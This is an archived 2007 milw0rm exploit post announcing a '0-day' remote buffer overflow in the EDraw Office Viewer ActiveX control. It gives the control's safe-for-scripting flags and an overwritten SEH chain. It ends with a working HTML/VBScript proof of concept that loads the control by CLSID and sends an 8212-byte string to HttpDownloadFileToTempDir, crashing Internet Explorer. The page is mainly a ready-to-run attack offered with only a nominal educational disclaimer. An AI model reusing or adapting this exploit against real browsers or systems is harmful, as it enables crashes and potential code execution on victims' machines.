61 lines
No EOL
2.2 KiB
HTML
61 lines
No EOL
2.2 KiB
HTML
<pre>
|
|
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
|
|
<b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
|
|
Remote Buffer Overflow</b>
|
|
url: http://www.ocxt.com/officeviewer.php
|
|
|
|
author: shinnai
|
|
mail: shinnai[at]autistici[dot]org
|
|
site: http://shinnai.altervista.org
|
|
|
|
This was written for educational purpose. Use it at your own risk.
|
|
Author will be not be responsible for any damage.
|
|
|
|
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
|
|
all software that use this ocx are vulnerable to this exploits.
|
|
|
|
<b>This ActiveX is marked as:
|
|
RegKey Safe for Script: True
|
|
RegKey Safe for Init: True
|
|
Implements IObjectSafety: True
|
|
IDisp Safe: Safe for untrusted: caller, data
|
|
IPStorage Safe: Safe for untrusted: caller, data
|
|
KillBitSet: False</b>
|
|
|
|
Even this time, shinnai is not credited for bug finding but they wrote:
|
|
"3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
|
|
to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
|
|
Now the component can only download the file to .Internet temporary file directory\OA\..
|
|
<b>So anybody can.t use the method to download a file then conver a good system file.</b>"
|
|
|
|
mmm... sure but, guys, take a look to SEH chain and you'll find this:
|
|
|
|
<b>SEH chain of thread 000011A0, item 0
|
|
Address=0172F284
|
|
SE handler=iexplore.00410041
|
|
|
|
SEH chain of thread 000011A0, item 1
|
|
Address=00410041
|
|
SE handler=00844E79</b>
|
|
|
|
do you know what I mean ;)
|
|
|
|
P.S.
|
|
encrease the number of buffer to see everything freezed
|
|
--------------------------------------------------------------------------------------------------------------
|
|
|
|
|
|
<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>
|
|
|
|
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
|
|
|
|
<script language='vbscript'>
|
|
Sub tryMe
|
|
buff = String(8212,"A")
|
|
test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
|
|
End Sub
|
|
</script>
|
|
</span>
|
|
</code></pre>
|
|
|
|
# milw0rm.com [2007-09-07] |